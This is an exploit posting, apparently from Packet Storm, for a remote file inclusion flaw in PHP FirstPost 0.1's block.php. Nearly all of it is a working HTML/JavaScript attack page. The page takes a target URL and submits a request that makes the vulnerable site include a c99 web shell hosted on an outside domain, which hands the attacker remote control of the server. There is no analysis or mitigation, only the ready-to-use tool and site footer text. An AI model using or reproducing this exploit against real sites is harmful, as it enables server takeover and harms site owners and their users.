PHP FirstPost version 0.1 suffers from a remote file inclusion vulnerability in block.php.
542ab3127712e3f2e573ece46da765f193375fe856f1c9fa46291ca452007303<html>
<head>
<title>..:: PhpFirstPost blog Remote File Include Exploit ::..</title>
<script language="JavaScript">
/*
\\\|///
\\ - - //
( @ @ )
----oOOo--(_)-oOOo---------------------------------------------------
[ Y! Underground Group ]
[ Dj7xpl@yahoo.com ]
[ Dj7xpl.2600.ir ]
----ooooO-----Ooooo--------------------------------------------------
( ) ( )
\ ( ) /
\_) (_/
---------------------------------------------------------------------
[!] Portal : PhpFirstPost 0.1
[!] Download : http://sourceforge.net/projects/phpfirstpost/
[!] Type : Remote File Include Exploit
---------------------------------------------------------------------
*/
var path="/"
var adress="block.php?"
var include ="Include="
var phpshell="http://dj7xpl.by.ru/shell/c99.php?"
function command(){
if (document.rfi.target1.value==""){
alert("Exploit Failed...");
return false;
}
rfi.action= document.rfi.target1.value+path+adress+include+phpshell;
rfi.submit();
}
</script>
</head>
<body bgcolor="#198ccd">
<center>
<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
<b><font face="batangche" size="3" color="white">Target:</font><font
face="Arial" size="2"
color="white">http://Target.ir/blog</font><br><br>
<font color="#00FF00"size="+1" face="batangche">
</font>
<font color="red" size="2"></font></b>
<input type="text" name="target1" size="20" style="background-color:
white" onmouseover="javascript:this.style.background='red';"
onmouseout="javascript:this.style.background='red';"></p>
<p>
<input type="submit" value="Go -->" name="B1">
<input type="reset" value="Clear" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes"
frameborder="0"></iframe>
</p><br><br>
<p><font color="red" size="2" face="batang">Dj7xpl @ Yahoo . com </font></p>
</center>
</body>
</html>
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed